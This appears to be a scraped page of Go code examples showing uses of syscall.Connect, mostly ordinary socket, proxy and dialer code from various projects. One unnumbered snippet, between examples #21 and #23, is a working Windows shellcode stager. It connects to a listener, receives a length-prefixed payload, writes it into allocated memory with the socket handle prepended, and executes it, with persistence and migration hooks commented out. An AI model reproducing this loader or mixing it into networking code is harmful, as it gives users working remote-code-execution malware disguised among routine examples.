Beispiel #1
0
// Conenct wraps syscall.Connect.
func (sw *Switch) Connect(s syscall.Handle, sa syscall.Sockaddr) (err error) {
	so := sw.sockso(s)
	if so == nil {
		return syscall.Connect(s, sa)
	}
	sw.fmu.RLock()
	f, _ := sw.fltab[FilterConnect]
	sw.fmu.RUnlock()

	af, err := f.apply(so)
	if err != nil {
		return err
	}
	so.Err = syscall.Connect(s, sa)
	if err = af.apply(so); err != nil {
		return err
	}

	sw.smu.Lock()
	defer sw.smu.Unlock()
	if so.Err != nil {
		sw.stats.getLocked(so.Cookie).ConnectFailed++
		return so.Err
	}
	sw.stats.getLocked(so.Cookie).Connected++
	return nil
}
// Generic socket creation.
func socket(net string, f, p, t int, la, ra syscall.Sockaddr, toAddr func(syscall.Sockaddr) Addr) (fd *netFD, err os.Error) {
	// See ../syscall/exec.go for description of ForkLock.
	syscall.ForkLock.RLock()
	s, e := syscall.Socket(f, p, t)
	if e != 0 {
		syscall.ForkLock.RUnlock()
		return nil, os.Errno(e)
	}
	syscall.CloseOnExec(s)
	syscall.ForkLock.RUnlock()

	// Allow reuse of recently-used addresses.
	syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)

	// Allow broadcast.
	syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)

	if f == syscall.AF_INET6 {
		// using ip, tcp, udp, etc.
		// allow both protocols even if the OS default is otherwise.
		syscall.SetsockoptInt(s, syscall.IPPROTO_IPV6, syscall.IPV6_V6ONLY, 0)
	}

	if la != nil {
		e = syscall.Bind(s, la)
		if e != 0 {
			closesocket(s)
			return nil, os.Errno(e)
		}
	}

	if ra != nil {
		e = syscall.Connect(s, ra)
		for e == syscall.EINTR {
			e = syscall.Connect(s, ra)
		}
		if e != 0 {
			closesocket(s)
			return nil, os.Errno(e)
		}
	}

	sa, _ := syscall.Getsockname(s)
	laddr := toAddr(sa)
	sa, _ = syscall.Getpeername(s)
	raddr := toAddr(sa)

	fd, err = newFD(s, f, p, net, laddr, raddr)
	if err != nil {
		closesocket(s)
		return nil, err
	}

	return fd, nil
}
Beispiel #3
0
func (fd *netFD) connect(la, ra syscall.Sockaddr) error {
	fd.wio.Lock()
	defer fd.wio.Unlock()
	if err := fd.pd.PrepareWrite(); err != nil {
		return err
	}
	for {
		err := syscall.Connect(fd.sysfd, ra)
		if err == nil || err == syscall.EISCONN {
			break
		}

		// On Solaris we can see EINVAL if the socket has
		// already been accepted and closed by the server.
		// Treat this as a successful connection--writes to
		// the socket will see EOF.  For details and a test
		// case in C see http://golang.org/issue/6828.
		if runtime.GOOS == "solaris" && err == syscall.EINVAL {
			break
		}

		if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR {
			return err
		}
		if err = fd.pd.WaitWrite(); err != nil {
			return err
		}
	}
	return nil
}
Beispiel #4
0
func (fd *netFD) connect(ra syscall.Sockaddr) (err os.Error) {
	e := syscall.Connect(fd.sysfd, ra)
	if e != 0 {
		return os.Errno(e)
	}
	return nil
}
Beispiel #5
0
func (fd *netFD) connect(la, ra syscall.Sockaddr) error {
	// Do not need to call fd.writeLock here,
	// because fd is not yet accessible to user,
	// so no concurrent operations are possible.
	if err := fd.pd.PrepareWrite(); err != nil {
		return err
	}
	for {
		err := syscall.Connect(fd.sysfd, ra)
		if err == nil || err == syscall.EISCONN {
			break
		}

		// On Solaris we can see EINVAL if the socket has
		// already been accepted and closed by the server.
		// Treat this as a successful connection--writes to
		// the socket will see EOF.  For details and a test
		// case in C see http://golang.org/issue/6828.
		if runtime.GOOS == "solaris" && err == syscall.EINVAL {
			break
		}

		if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR {
			return err
		}
		if err = fd.pd.WaitWrite(); err != nil {
			return err
		}
	}
	return nil
}
Beispiel #6
0
func (fd *netFD) connect(la, ra syscall.Sockaddr) error {
	// Do not need to call fd.writeLock here,
	// because fd is not yet accessible to user,
	// so no concurrent operations are possible.
	if !canUseConnectEx(fd.net) {
		return syscall.Connect(fd.sysfd, ra)
	}
	// ConnectEx windows API requires an unconnected, previously bound socket.
	if la == nil {
		switch ra.(type) {
		case *syscall.SockaddrInet4:
			la = &syscall.SockaddrInet4{}
		case *syscall.SockaddrInet6:
			la = &syscall.SockaddrInet6{}
		default:
			panic("unexpected type in connect")
		}
		if err := syscall.Bind(fd.sysfd, la); err != nil {
			return err
		}
	}
	// Call ConnectEx API.
	o := &fd.wop
	o.sa = ra
	_, err := wsrv.ExecIO(o, "ConnectEx", func(o *operation) error {
		return syscall.ConnectEx(o.fd.sysfd, o.sa, nil, 0, nil, &o.o)
	})
	if err != nil {
		return err
	}
	// Refresh socket properties.
	return syscall.Setsockopt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_UPDATE_CONNECT_CONTEXT, (*byte)(unsafe.Pointer(&fd.sysfd)), int32(unsafe.Sizeof(fd.sysfd)))
}
Beispiel #7
0
func (fd *netFD) connect(ra syscall.Sockaddr) error {
	if !canUseConnectEx(fd.net) {
		return syscall.Connect(fd.sysfd, ra)
	}
	// ConnectEx windows API requires an unconnected, previously bound socket.
	var la syscall.Sockaddr
	switch ra.(type) {
	case *syscall.SockaddrInet4:
		la = &syscall.SockaddrInet4{}
	case *syscall.SockaddrInet6:
		la = &syscall.SockaddrInet6{}
	default:
		panic("unexpected type in connect")
	}
	if err := syscall.Bind(fd.sysfd, la); err != nil {
		return err
	}
	// Call ConnectEx API.
	var o connectOp
	o.Init(fd, 'w')
	o.ra = ra
	_, err := iosrv.ExecIO(&o, fd.wdeadline.value())
	if err != nil {
		return err
	}
	// Refresh socket properties.
	return syscall.Setsockopt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_UPDATE_CONNECT_CONTEXT, (*byte)(unsafe.Pointer(&fd.sysfd)), int32(unsafe.Sizeof(fd.sysfd)))
}
Beispiel #8
0
/*
	c.sa = new(syscall.SockaddrInet4)
	c.sa.Addr = [4]byte{10, 1, 1, 131}
	c.sa.Port = port
*/
func (c *Worker) socket() {
	begin := time.Now()
	s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	if err != nil {
		syscall.Close(s)
		return
	}

	err = syscall.Connect(s, nil) //TODO
	if err != nil {
		lg(err)
		syscall.Close(s)
		return
	}

	_, err = syscall.Write(s, message.content)
	if err != nil {
		syscall.Close(s)
		return
	}

	_, err = syscall.Read(s, c.data)
	if err != nil {
		syscall.Close(s)
		return
	}

	syscall.Close(s)
	time.Now().Sub(begin)
}
Beispiel #9
0
func (fd *netFD) connect(la, ra syscall.Sockaddr, deadline time.Time) error {
	// Do not need to call fd.writeLock here,
	// because fd is not yet accessible to user,
	// so no concurrent operations are possible.
	switch err := syscall.Connect(fd.sysfd, ra); err {
	case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR:
	case nil, syscall.EISCONN:
		if !deadline.IsZero() && deadline.Before(time.Now()) {
			return errTimeout
		}
		if err := fd.init(); err != nil {
			return err
		}
		return nil
	case syscall.EINVAL:
		// On Solaris we can see EINVAL if the socket has
		// already been accepted and closed by the server.
		// Treat this as a successful connection--writes to
		// the socket will see EOF.  For details and a test
		// case in C see http://golang.org/issue/6828.
		if runtime.GOOS == "solaris" {
			return nil
		}
		fallthrough
	default:
		return err
	}
	if err := fd.init(); err != nil {
		return err
	}
	if !deadline.IsZero() {
		fd.setWriteDeadline(deadline)
		defer fd.setWriteDeadline(noDeadline)
	}
	for {
		// Performing multiple connect system calls on a
		// non-blocking socket under Unix variants does not
		// necessarily result in earlier errors being
		// returned. Instead, once runtime-integrated network
		// poller tells us that the socket is ready, get the
		// SO_ERROR socket option to see if the connection
		// succeeded or failed. See issue 7474 for further
		// details.
		if err := fd.pd.WaitWrite(); err != nil {
			return err
		}
		nerr, err := syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR)
		if err != nil {
			return err
		}
		switch err := syscall.Errno(nerr); err {
		case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR:
		case syscall.Errno(0), syscall.EISCONN:
			return nil
		default:
			return err
		}
	}
}
Beispiel #10
0
func (io *NetIOManager) ProxyNetAccept(serverinfo syscall.Sockaddr) (sa syscall.Sockaddr, err error) {
	var clientfd, serverfd int
	// accpet mongodb client connection request
	clientfd, clientinfo, err := syscall.Accept(io.proxy_server_fd)
	if err != nil {
		goto ClientError
	}

	err = syscall.SetNonblock(clientfd, true)
	if err != nil {
		goto ClientCleanup
	}

	err = syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_ADD, clientfd,
		&syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT |
			syscall.EPOLLRDHUP, Fd: int32(clientfd)})
	if err != nil {
		goto ClientCleanup
	}

	// establish connection with mongodb server
	serverfd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM,
		syscall.IPPROTO_TCP)
	if err != nil {
		goto ServerError
	}

	err = syscall.Connect(serverfd, serverinfo)
	if err != nil {
		goto ServerCleanup
	}

	err = syscall.SetNonblock(serverfd, true)
	if err != nil {
		goto ServerCleanup
	}

	err = syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_ADD, serverfd,
		&syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT |
			syscall.EPOLLRDHUP, Fd: int32(serverfd)})
	if err != nil {
		goto ServerCleanup
	}

	// now proxy server becomes a bridge between client <-> server
	add_sock_peer(io, clientfd, clientinfo, serverfd, serverinfo)
	return clientinfo, nil

ServerCleanup:
	syscall.Close(serverfd)
ServerError:
	syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_DEL, clientfd,
		&syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT |
			syscall.EPOLLRDHUP, Fd: int32(clientfd)})
ClientCleanup:
	syscall.Close(clientfd)
ClientError:
	return nil, err
}
Beispiel #11
0
// Etablie une connexion via socket à l'aide des librairies POSIX (BSD)
func (c *Conn) Dial(port int, addr [4]byte) (err error) {
	c.sa = s.SockaddrInet4{Port: port, Addr: addr}
	c.sd, err = s.Socket(s.AF_INET, s.SOCK_STREAM, 0)
	if err != nil {
		return
	}
	s.Connect(c.sd, &c.sa)
	return
}
// bindLookupIP implements the BindToDevice LookupIP case.
// To implement socket device binding, the lower-level syscall APIs are used.
// The sequence of syscalls in this implementation are taken from:
// https://code.google.com/p/go/issues/detail?id=6966
func bindLookupIP(host string, config *DialConfig) (addrs []net.IP, err error) {

	// When the input host is an IP address, echo it back
	ipAddr := net.ParseIP(host)
	if ipAddr != nil {
		return []net.IP{ipAddr}, nil
	}

	socketFd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, 0)
	if err != nil {
		return nil, ContextError(err)
	}
	defer syscall.Close(socketFd)

	err = config.DeviceBinder.BindToDevice(socketFd)
	if err != nil {
		return nil, ContextError(fmt.Errorf("BindToDevice failed: %s", err))
	}

	// config.DnsServerGetter.GetDnsServer must return an IP address
	ipAddr = net.ParseIP(config.DnsServerGetter.GetDnsServer())
	if ipAddr == nil {
		return nil, ContextError(errors.New("invalid IP address"))
	}

	// TODO: IPv6 support
	var ip [4]byte
	copy(ip[:], ipAddr.To4())
	sockAddr := syscall.SockaddrInet4{Addr: ip, Port: DNS_PORT}
	// Note: no timeout or interrupt for this connect, as it's a datagram socket
	err = syscall.Connect(socketFd, &sockAddr)
	if err != nil {
		return nil, ContextError(err)
	}

	// Convert the syscall socket to a net.Conn, for use in the dns package
	file := os.NewFile(uintptr(socketFd), "")
	defer file.Close()
	conn, err := net.FileConn(file)
	if err != nil {
		return nil, ContextError(err)
	}

	// Set DNS query timeouts, using the ConnectTimeout from the overall Dial
	if config.ConnectTimeout != 0 {
		conn.SetReadDeadline(time.Now().Add(config.ConnectTimeout))
		conn.SetWriteDeadline(time.Now().Add(config.ConnectTimeout))
	}

	// TODO: make conn interruptible?

	addrs, _, err = ResolveIP(host, conn)
	return
}
Beispiel #13
0
// connectSocket makes the connection to the given IP address port
// for the given socket fd
func (conn *ProtectedConn) connectSocket() error {
	sockAddr := syscall.SockaddrInet4{Addr: conn.ip, Port: conn.port}
	errCh := make(chan error, 2)
	time.AfterFunc(connectTimeOut, func() {
		errCh <- errors.New("connect timeout")
	})
	go func() {
		errCh <- syscall.Connect(conn.socketFd, &sockAddr)
	}()
	err := <-errCh
	return err
}
Beispiel #14
0
// this is close to the connect() function inside stdlib/net
func connect(fd int, ra syscall.Sockaddr, deadline time.Time) error {
	switch err := syscall.Connect(fd, ra); err {
	case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR:
	case nil, syscall.EISCONN:
		if !deadline.IsZero() && deadline.Before(time.Now()) {
			return errTimeout
		}
		return nil
	default:
		return err
	}

	poller, err := poll.New(fd)
	if err != nil {
		return err
	}
	defer poller.Close()

	for {
		if err = poller.WaitWrite(deadline); err != nil {
			return err
		}

		// if err := fd.pd.WaitWrite(); err != nil {
		// 	return err
		// }
		// i'd use the above fd.pd.WaitWrite to poll io correctly, just like net sockets...
		// but of course, it uses the damn runtime_* functions that _cannot_ be used by
		// non-go-stdlib source... seriously guys, this is not nice.
		// we're relegated to using syscall.Select (what nightmare that is) or using
		// a simple but totally bogus time-based wait. such garbage.
		var nerr int
		nerr, err = syscall.GetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_ERROR)
		if err != nil {
			return err
		}
		switch err = syscall.Errno(nerr); err {
		case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR:
			continue
		case syscall.Errno(0), syscall.EISCONN:
			if !deadline.IsZero() && deadline.Before(time.Now()) {
				return errTimeout
			}
			return nil
		default:
			return err
		}
	}
}
Beispiel #15
0
func system_dialer(net string, laddr *net.TCPAddr) (fd int, err error) {
	switch {
	case laddr.IP.To4() != nil:
		var addr [4]byte
		copy(addr[:], laddr.IP[len(laddr.IP)-4:len(laddr.IP)])

		return dialer_tcp_(tcp4_socket,
			func(fd int) error {
				return syscall.Connect(fd, &syscall.SockaddrInet4{Port: laddr.Port, Addr: addr})
			})

	case laddr.IP.To16() != nil:
		var addr [16]byte
		copy(addr[:], laddr.IP)

		return dialer_tcp_(tcp6_socket,
			func(fd int) error {
				return syscall.Connect(fd, &syscall.SockaddrInet6{Port: laddr.Port, Addr: addr})
			})

	}

	return -1, &E_UnknownProto{net}
}
Beispiel #16
0
func connectUDP(laddr, raddr syscall.Sockaddr) int {
	fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, 0)
	chk(err)

	err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)
	chk(err)

	err = syscall.Bind(fd, laddr)
	chk(err)

	err = syscall.Connect(fd, raddr)
	chk(err)

	return fd
}
Beispiel #17
0
func (fd *netFD) connect(ra syscall.Sockaddr) error {
	err := syscall.Connect(fd.sysfd, ra)
	if err == syscall.EINPROGRESS {
		pollserver.WaitWrite(fd)
		var e int
		e, err = syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR)
		if err != nil {
			return os.NewSyscallError("getsockopt", err)
		}
		if e != 0 {
			err = syscall.Errno(e)
		}
	}
	return err
}
Beispiel #18
0
func (fd *netFD) connect(ra syscall.Sockaddr) (err error) {
	e := syscall.Connect(fd.sysfd, ra)
	if e == syscall.EINPROGRESS {
		var errno int
		pollserver.WaitWrite(fd)
		e, errno = syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR)
		if errno != 0 {
			return os.NewSyscallError("getsockopt", errno)
		}
	}
	if e != 0 {
		return os.Errno(e)
	}
	return nil
}
Beispiel #19
0
// Etablie une connexion via socket à l'aide des librairys WSA (windows).
func (c *Conn) Dial(port int, addr [4]byte) (err error) {
	c.sa = s.SockaddrInet4{Port: port, Addr: addr}
	fmt.Println("OVERLAPPED")
	fmt.Println(c.overlapped)
	err = s.WSAStartup(uint32(0x202), &c.wsadata)
	if err != nil {
		return
	}
	c.sd, err = s.Socket(s.AF_INET, s.SOCK_STREAM, 6)
	if err != nil {
		return
	}
	s.Connect(c.sd, &c.sa)
	return
}
Beispiel #20
0
func main() {
	fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	check(err)

	addr := &syscall.SockaddrInet4{Port: 3000, Addr: [4]byte{0, 0, 0, 0}}
	err = syscall.Connect(fd, addr)
	check(err)

	_, err = syscall.Write(fd, []byte("hi\n"))
	check(err)

	data := make([]byte, 1024)
	_, err = syscall.Read(fd, data)
	check(err)
	fmt.Printf("Server sent: %s", string(data))
}
Beispiel #21
0
// Generic socket creation.
func socket(net string, f, p, t int, la, ra syscall.Sockaddr, toAddr func(syscall.Sockaddr) Addr) (fd *netFD, err os.Error) {
	// See ../syscall/exec.go for description of ForkLock.
	syscall.ForkLock.RLock()
	s, e := syscall.Socket(f, p, t)
	if e != 0 {
		syscall.ForkLock.RUnlock()
		return nil, os.Errno(e)
	}
	syscall.CloseOnExec(s)
	syscall.ForkLock.RUnlock()

	// Allow reuse of recently-used addresses.
	syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)

	// Allow broadcast.
	syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)

	if la != nil {
		e = syscall.Bind(s, la)
		if e != 0 {
			syscall.Close(s)
			return nil, os.Errno(e)
		}
	}

	if ra != nil {
		e = syscall.Connect(s, ra)
		if e != 0 {
			syscall.Close(s)
			return nil, os.Errno(e)
		}
	}

	sa, _ := syscall.Getsockname(s)
	laddr := toAddr(sa)
	sa, _ = syscall.Getpeername(s)
	raddr := toAddr(sa)

	fd, err = newFD(s, f, p, net, laddr, raddr)
	if err != nil {
		syscall.Close(s)
		return nil, err
	}

	return fd, nil
}
func main() {
	//RSE.Persistence()
	var WSA_Data syscall.WSAData
	syscall.WSAStartup(uint32(0x202), &WSA_Data)
	Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	Socket_Addr := syscall.SockaddrInet4{Port: 5555, Addr: [4]byte{127, 0, 0, 1}}
	syscall.Connect(Socket, &Socket_Addr)
	var Length [4]byte
	WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &Length[0]}
	UitnZero_1 := uint32(0)
	DataReceived := uint32(0)
	syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil)
	Length_int := binary.LittleEndian.Uint32(Length[:])
	if Length_int < 100 {
		main()
	}
	Shellcode_Buffer := make([]byte, Length_int)

	var Shellcode []byte
	WSA_Buffer = syscall.WSABuf{Len: Length_int, Buf: &Shellcode_Buffer[0]}
	UitnZero_1 = uint32(0)
	DataReceived = uint32(0)
	TotalDataReceived := uint32(0)
	for TotalDataReceived < Length_int {
		syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil)
		for i := 0; i < int(DataReceived); i++ {
			Shellcode = append(Shellcode, Shellcode_Buffer[i])
		}
		TotalDataReceived += DataReceived
	}

	Addr := Allocate(uintptr(Length_int + 5))
	AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
	SocketPtr := (uintptr)(unsafe.Pointer(Socket))
	AddrPtr[0] = 0xBF
	AddrPtr[1] = byte(SocketPtr)
	AddrPtr[2] = 0x00
	AddrPtr[3] = 0x00
	AddrPtr[4] = 0x00
	for BpuAKrJxfl, IIngacMaBh := range Shellcode {
		AddrPtr[BpuAKrJxfl+5] = IIngacMaBh
	}
	//RSE.Migrate(Addr, Length_int)
	syscall.Syscall(Addr, 0, 0, 0, 0)
}
Beispiel #23
0
func (fd *netFD) connect(la, ra syscall.Sockaddr) error {
	fd.wio.Lock()
	defer fd.wio.Unlock()
	if err := fd.pd.PrepareWrite(); err != nil {
		return err
	}
	for {
		err := syscall.Connect(fd.sysfd, ra)
		if err == nil || err == syscall.EISCONN {
			break
		}
		if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR {
			return err
		}
		if err = fd.pd.WaitWrite(); err != nil {
			return err
		}
	}
	return nil
}
Beispiel #24
0
func (fd *netFD) connect(la, ra syscall.Sockaddr) error {
	// Do not need to call fd.writeLock here,
	// because fd is not yet accessible to user,
	// so no concurrent operations are possible.
	if err := fd.pd.PrepareWrite(); err != nil {
		return err
	}
	for {
		err := syscall.Connect(fd.sysfd, ra)
		if err == nil || err == syscall.EISCONN {
			break
		}
		if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR {
			return err
		}
		if err = fd.pd.WaitWrite(); err != nil {
			return err
		}
	}
	return nil
}
Beispiel #25
0
func (fd *netFD) connect(ra syscall.Sockaddr) error {
	err := syscall.Connect(fd.sysfd, ra)
	hadTimeout := fd.wdeadline > 0
	if err == syscall.EINPROGRESS {
		if err = fd.pollServer.WaitWrite(fd); err != nil {
			return err
		}
		if hadTimeout && fd.wdeadline < 0 {
			return errTimeout
		}
		var e int
		e, err = syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR)
		if err != nil {
			return os.NewSyscallError("getsockopt", err)
		}
		if e != 0 {
			err = syscall.Errno(e)
		}
	}
	return err
}
Beispiel #26
0
func selfConnectedTCPSocket() (pr, pw *os.File, err os.Error) {
	// See ../syscall/exec.go for description of ForkLock.
	syscall.ForkLock.RLock()
	sockfd, e := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	if e != 0 {
		syscall.ForkLock.RUnlock()
		return nil, nil, os.Errno(e)
	}
	syscall.CloseOnExec(sockfd)
	syscall.ForkLock.RUnlock()

	// Allow reuse of recently-used addresses.
	syscall.SetsockoptInt(sockfd, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)

	var laTCP *TCPAddr
	var la syscall.Sockaddr
	if laTCP, err = ResolveTCPAddr("127.0.0.1:0"); err != nil {
	Error:
		return nil, nil, err
	}
	if la, err = laTCP.sockaddr(syscall.AF_INET); err != nil {
		goto Error
	}
	e = syscall.Bind(sockfd, la)
	if e != 0 {
	Errno:
		syscall.Close(sockfd)
		return nil, nil, os.Errno(e)
	}

	laddr, _ := syscall.Getsockname(sockfd)
	e = syscall.Connect(sockfd, laddr)
	if e != 0 {
		goto Errno
	}

	fd := os.NewFile(sockfd, "wakeupSocket")
	return fd, fd, nil
}
Beispiel #27
0
func DialTCPTimeoutWithMD5Sig(host string, port int, localAddr, key string, msec int) (*net.TCPConn, error) {
	var family int
	var ra, la syscall.Sockaddr

	ip, err := net.ResolveIPAddr("ip", host)
	if err != nil {
		return nil, fmt.Errorf("invalid ip: %s", err)
	}
	l, err := net.ResolveIPAddr("ip", localAddr)
	if l == nil {
		return nil, fmt.Errorf("invalid local ip: %s", err)
	}
	if (ip.IP.To4() != nil) != (l.IP.To4() != nil) {
		return nil, fmt.Errorf("remote and local ip address family is not same")
	}
	switch {
	case ip.IP.To4() != nil:
		family = syscall.AF_INET
		i := &syscall.SockaddrInet4{
			Port: port,
		}
		for idx, _ := range i.Addr {
			i.Addr[idx] = ip.IP.To4()[idx]
		}
		ra = i
		j := &syscall.SockaddrInet4{}
		for idx, _ := range j.Addr {
			j.Addr[idx] = l.IP.To4()[idx]
		}
		la = j
	default:
		family = syscall.AF_INET6
		i := &syscall.SockaddrInet6{
			Port: port,
		}
		for idx, _ := range i.Addr {
			i.Addr[idx] = ip.IP[idx]
		}
		ra = i
		var zone uint32
		if l.Zone != "" {
			intf, err := net.InterfaceByName(l.Zone)
			if err != nil {
				return nil, err
			}
			zone = uint32(intf.Index)
		}
		j := &syscall.SockaddrInet6{
			ZoneId: zone,
		}
		for idx, _ := range j.Addr {
			j.Addr[idx] = l.IP[idx]
		}
		la = j
	}
	sotype := syscall.SOCK_STREAM | syscall.SOCK_CLOEXEC | syscall.SOCK_NONBLOCK
	proto := 0
	fd, err := syscall.Socket(family, sotype, proto)
	if err != nil {
		return nil, err
	}
	fi := os.NewFile(uintptr(fd), "")
	defer fi.Close()

	t, err := buildTcpMD5Sig(host, key)
	if err != nil {
		return nil, err
	}
	if _, _, e := syscall.Syscall6(syscall.SYS_SETSOCKOPT, uintptr(fd),
		uintptr(syscall.IPPROTO_TCP), uintptr(TCP_MD5SIG),
		uintptr(unsafe.Pointer(&t)), unsafe.Sizeof(t), 0); e > 0 {
		return nil, os.NewSyscallError("setsockopt", e)
	}

	if err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1); err != nil {
		return nil, os.NewSyscallError("setsockopt", err)
	}
	if err = syscall.SetsockoptInt(fd, syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1); err != nil {
		return nil, os.NewSyscallError("setsockopt", err)
	}
	if err = syscall.Bind(fd, la); err != nil {
		return nil, os.NewSyscallError("bind", err)
	}

	tcpconn := func(fi *os.File) (*net.TCPConn, error) {
		conn, err := net.FileConn(fi)
		return conn.(*net.TCPConn), err
	}

	err = syscall.Connect(fd, ra)
	switch err {
	case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR:
		// do timeout handling
	case nil, syscall.EISCONN:
		return tcpconn(fi)
	default:
		return nil, os.NewSyscallError("connect", err)
	}

	epfd, e := syscall.EpollCreate1(syscall.EPOLL_CLOEXEC)
	if e != nil {
		return nil, e
	}
	defer syscall.Close(epfd)

	var event syscall.EpollEvent
	events := make([]syscall.EpollEvent, 1)

	event.Events = syscall.EPOLLIN | syscall.EPOLLOUT | syscall.EPOLLPRI
	event.Fd = int32(fd)
	if e = syscall.EpollCtl(epfd, syscall.EPOLL_CTL_ADD, fd, &event); e != nil {
		return nil, e
	}

	for {
		nevents, e := syscall.EpollWait(epfd, events, msec)
		if e != nil {
			return nil, e
		}
		if nevents == 0 {
			return nil, fmt.Errorf("timeout")
		} else if nevents == 1 && events[0].Fd == int32(fd) {
			nerr, err := syscall.GetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_ERROR)
			if err != nil {
				return nil, os.NewSyscallError("getsockopt", err)
			}
			switch err := syscall.Errno(nerr); err {
			case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR:
			case syscall.Errno(0), syscall.EISCONN:
				return tcpconn(fi)
			default:
				return nil, os.NewSyscallError("getsockopt", err)
			}
		} else {
			return nil, fmt.Errorf("unexpected epoll behavior")
		}
	}
}
Beispiel #28
0
func tryConnect(dest net.IPAddr, port, ttl, query int, timeout time.Duration) (result connectEvent) {

	log.Printf("try Connect dest: %v port: %v ttl: %v query: %v timeout: %v",
		dest, port, ttl, query, timeout)

	// fill in the event with as much info as we have so far
	event := connectEvent{
		remoteAddr: dest,
		remotePort: port,
		ttl:        ttl,
		query:      query,
	}

	sock, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP)
	if err != nil {
		result = makeErrorEvent(&event, err)
		return
	}
	defer syscall.Close(sock)

	err = syscall.SetsockoptInt(sock, 0x0, syscall.IP_TTL, ttl)
	if err != nil {
		result = makeErrorEvent(&event, err)
		return
	}

	err = syscall.SetNonblock(sock, true)
	if err != nil {
		result = makeErrorEvent(&event, err)
		return
	}

	// ignore error from connect in non-blocking mode. as it will always return an
	// in progress error
	_ = syscall.Connect(sock, ToSockaddrInet4(dest, port))

	// get the local ip address and port number
	local, err := syscall.Getsockname(sock)
	if err != nil {
		result = makeErrorEvent(&event, err)
		return
	}

	// fill in the local endpoint deatils on the event struct
	event.localAddr, event.localPort, err = ToIPAddrAndPort(local)
	if err != nil {
		result = makeErrorEvent(&event, err)
		return
	}
	log.Printf(".... try Connect local endpoint: %v : %v", event.localAddr, event.localPort)

	state, err := waitWithTimeout(sock, timeout)
	switch state {
	case SocketError:
		result = makeErrorEvent(&event, err)
	case SocketConnected:
		result = makeEvent(&event, connectConnected)
	case SocketNotReached:
		result = makeEvent(&event, connectUnreachable)
	case SocketPortClosed:
		result = makeEvent(&event, connectRefused)
	case SocketTimedOut:
		result = makeEvent(&event, connectTimedOut)
	}
	return
}
Beispiel #29
0
func Listen(rendezvousAddr string, key string) (net.Listener, error) {
	raddr, err := net.ResolveTCPAddr("tcp", rendezvousAddr)
	if err != nil {
		return nil, err
	}

	rsockaddr, domain, err := tcpaddrToSockaddr(raddr)
	if err != nil {
		return nil, err
	}

	sendSock, err := syscall.Socket(domain, syscall.SOCK_STREAM, 0)
	if err != nil {
		return nil, err
	}

	if err := syscall.SetsockoptInt(
		sendSock, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1,
	); err != nil {
		return nil, err
	}

	if err := syscall.Connect(sendSock, rsockaddr); err != nil {
		return nil, err
	}

	lsockaddr, err := syscall.Getsockname(sendSock)
	if err != nil {
		return nil, err
	}

	listenSock, err := syscall.Socket(domain, syscall.SOCK_STREAM, 0)
	if err != nil {
		return nil, err
	}

	if err := syscall.SetsockoptInt(
		listenSock, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1,
	); err != nil {
		return nil, err
	}

	if err := syscall.Bind(listenSock, lsockaddr); err != nil {
		return nil, err
	}

	if err := syscall.Listen(listenSock, 1000); err != nil {
		return nil, err
	}

	sendFile := os.NewFile(uintptr(sendSock), "rendezvous-send")
	listenFile := os.NewFile(uintptr(listenSock), "rendezvous-listen")

	rendezvousConn, err := net.FileConn(sendFile)
	if err != nil {
		return nil, err
	}

	encoder := json.NewEncoder(rendezvousConn)

	message := map[string]string{
		"action": "listen",
		"key":    key,
	}

	if err := encoder.Encode(&message); err != nil {
		return nil, err
	}

	return net.FileListener(listenFile)
}
	{
		ErrFmt: "Port [%d] add fd to epoll error [%s]",
		Action: func(tc *TunnelConn) (err error) {
